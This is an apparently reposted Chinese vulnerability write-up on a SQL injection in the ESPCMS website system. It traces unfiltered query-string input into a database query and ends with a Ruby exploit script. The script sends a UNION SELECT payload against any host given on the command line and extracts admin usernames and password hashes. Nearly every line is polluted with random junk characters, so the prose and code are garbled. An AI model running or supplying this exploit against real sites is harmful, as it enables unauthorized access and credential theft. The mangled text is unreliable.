0×0 漏洞概述0×1 漏洞细节
0 o' x7 J X( I t* E( j0×2 PoC' n% v+ z1 A5 T3 f
/ c+ V- ]' `) Q" S8 l* l
. U7 v1 ]# v( y7 j% R$ {
9 B' W* T7 E' B) M0 w- X5 l0×0 漏洞概述, \2 z/ V& D8 g) [. v
9 Q; A7 }5 V5 \
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
: ?+ V$ \; l0 R/ I6 S3 J6 P其在处理传入的参数时考虑不严谨导致SQL注入发生1 {6 A* T9 n1 L. V$ o6 k% g: i- S
9 \$ H4 A2 f2 U: P* }
" a4 m$ L) y; u6 W/ z" ^- K0×1 漏洞细节
) k2 E+ w z' W; B
, q8 R8 _8 }( ^( ~- h7 x: X/ W变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。 |. O* z5 u8 o+ u
正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。- j2 v7 T" K+ t+ V: {9 w% n
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
: u8 X/ h# a9 T+ c0 w5 E$ T" ^0 \ f& Y) ^ U
在/interface/3gwap_search.php文件的in_result函数中:
- ` ?7 ^, X" s k j8 x9 Q) f! f! Q, J4 O- g! q# V
$ C; w9 ?4 s/ g5 |) w; _$ Z! ]" u7 T
' G! ^) x) B2 l+ J function in_result() {
5 o' V( A8 ~8 I) ?: f7 ~5 x ... ... ... ... ... ... ... ... ...0 o, k) k3 R) q' y- o* E! R
$urlcode = $_SERVER[ 'QUERY_STRING '];: [5 Q9 I% B2 K' L$ M! [
parse_str(html_entity_decode($urlcode), $output);4 Q. f# n8 T5 P; m+ d& y7 {. Q
M, ]6 p3 y! q: c1 {; o
... ... ... ... ... ... ... ... ...
" W' D6 r5 h3 p- q- K+ J if (is_array($output['attr' ]) && count($output['attr']) > 0) {
4 m" m1 G v& Z" P& b) Q; Y7 J$ B, ~4 f
$db_table = db_prefix . 'model_att';
, I4 H( b8 n) ]; v* X4 ^
! o% U( ?2 I) w" Z# Y! M& w, A3 w) b foreach ($output['attr' ] as $key => $value) {4 u3 y* a; N$ m! |( Q; A8 n" U# a3 Q
if ($value) {, ^4 z; q ^# E6 Y7 f1 w
+ P" T- B! @! K- H0 g7 T4 y/ C1 v
$key = addslashes($key);3 L# r& s, E8 l
$key = $this-> fun->inputcodetrim($key);+ M& r |' _5 e3 B
$db_att_where = " WHERE isclass=1 AND attrname='$key'";7 J6 p) `; b3 U, N- z+ _( y
$countnum = $this->db_numrows($db_table, $db_att_where);
a* C: v3 }: v4 y5 R8 i/ I2 C1 L if ($countnum > 0) {
/ |3 S! d+ k5 X& n3 |' ?7 I $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;& y! f! Y: F% {. Z: q3 j2 y9 @
}( |' ^) h( y. a0 y- b& }
}
7 N& n1 y7 L# F$ ?/ e6 y1 u }
( n# v5 N- H4 w4 m$ i }7 z v% T: k" X- G6 v! ^4 p( m1 ~$ J
if (!empty ($keyword) && empty($keyname)) {
3 z$ b% u$ _. n4 p2 E9 E% Z I $keyname = 'title';
% e; ^! {$ B4 n' L: [ $db_where.= " AND a.title like '%$keyword%'" ;- ~/ `) R; }9 C, M" u
} elseif (!empty ($keyword) && !empty($keyname)) {" J: {# z. k0 T3 X/ R9 z* o. {2 b
$db_where.= " AND $keyname like '% $keyword%'";
6 X& \1 N7 o0 u; T5 U7 m h }' f8 }! S& U" w5 m$ g, f
$pagemax = 15;
/ r$ ?# ^. e& p( _9 k8 m- _: F9 O8 m
$pagesylte = 1;( d* x( m6 i! g T
8 m2 U ]5 |* Y( N
if ($countnum > 0) {
6 p. f- l* H+ P$ i. n( x2 i: _( \
$numpage = ceil($countnum / $pagemax);
+ p. c" n+ G+ ^+ ?. _# ? } else {, E, V0 z Q9 c) v' a. R8 k1 w: n
$numpage = 1;7 H! d" R `' m8 l4 R/ {& W
}& T% H* j o# h% K( C$ z
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;5 T5 M+ t8 D0 S& ~7 S6 I
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
7 H$ ?" |$ }1 X' J5 E* e$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);# B' ^/ q6 h# X* @0 \
... ... ... ... ... ... ... ... ...
2 v& y! ?8 T, r5 J, k/ R }5 P- X7 m* A( I6 @8 D' P
( d6 R- ?8 _( n7 Y4 q
, I8 m3 u |6 d: A8 E0×2 PoC
. @) A7 l" D+ g! ^+ \' |: I
' ?" N( r* r' v, a) U/ u6 E) m
1 ?1 R$ k5 ]4 c" x$ A! G
8 K3 q* r! }; M$ }/ u: f4 o$ N/ Xrequire "net/http": e. @, z! S) e c( L1 T0 b2 D
! W; V; B7 i1 `% d$ D: ~5 a
def request(method, url)
$ ]# R, k2 |# Q/ k if method.eql?("get")
g6 R' m) ^1 b$ v( p; m0 D1 z uri = URI.parse(url); _, f# ?: I- z% {" q; V6 ^
http = Net::HTTP.new(uri.host, uri.port)
0 J _0 k/ Y* v, f P4 |% u response = http.request(Net::HTTP::Get.new(uri.request_uri))& b; s. ?7 P' t) K! T* ^" J0 a
return response
3 }) i1 o& H7 |$ } end; T+ f* Z, A! D9 G% `& W7 Q2 q
end
: S; B% e' d% b) P5 r3 g
: [! g1 Z" }! V' U7 a$ Edoc =<<HERE
2 |2 P3 W9 {- ~" f. @-------------------------------------------------------
4 Y& L9 m% { m4 z3 z% |* kEspcms Injection Exploit l/ B2 W* K5 Y6 y S, \
Author:ztz" x/ a. o2 v V0 @% W+ x( N+ u
Blog:http://ztz.fuzzexp.org/& ?+ ^# X) ], C- i( Y- i% ^; v
-------------------------------------------------------
9 H7 y# E1 q% a# R9 C( I4 |" \- F6 l
HERE
. q* L2 X" y8 p- {
1 c' c6 i5 x( F2 O0 X Kusage =<<HERE4 X1 B: H ]0 [4 I% n
Usage: ruby #{$0} host port path
' r# G" J: Z% g% v# Rexample: ruby #{$0} www.target.com 80 /
! f1 |5 ~- G. D0 R- J. {HERE; P$ ~( Z3 Y: U' X# S3 [/ \* \! N* W$ B
- M: u) V. ^) [: xputs doc3 d7 u4 N, Y) {* p* h5 u
if ARGV.length < 3
+ U. X" T. h* c5 k+ [/ q$ Y8 P8 s puts usage* H0 b8 A8 _ R! x1 r! N$ D& u9 K
else
: C& N' Q$ X5 P/ \ $host = ARGV[0]. Y- S. V6 ]4 c! c0 n$ @4 Z
$port = ARGV[1]) o/ e0 A5 M( b* g( b( F
$path = ARGV[2]( j: U+ m1 Y( E# n
% l9 e; O. |0 Z D8 l puts "send request..."
' Y2 P, z, [, j* b2 ?1 o url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
. f" s2 ~( u6 E% f! d$ {( tattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
$ f. {4 D2 C' i, W,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27 M7 e6 d5 H! D& i0 @# g4 K0 u1 B! e
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
% a- m) J8 {( @' j response = request("get", url)
0 p4 x3 J, v4 ] result = response.body.scan(/\w+&\w{32}/)
* [3 F0 W k6 Y$ L5 d2 B) R; v puts result
9 F1 D( `1 k" p5 C9 k$ n1 Nend; [3 j }3 B& L3 B7 o
( Q7 A! F; U1 j* i |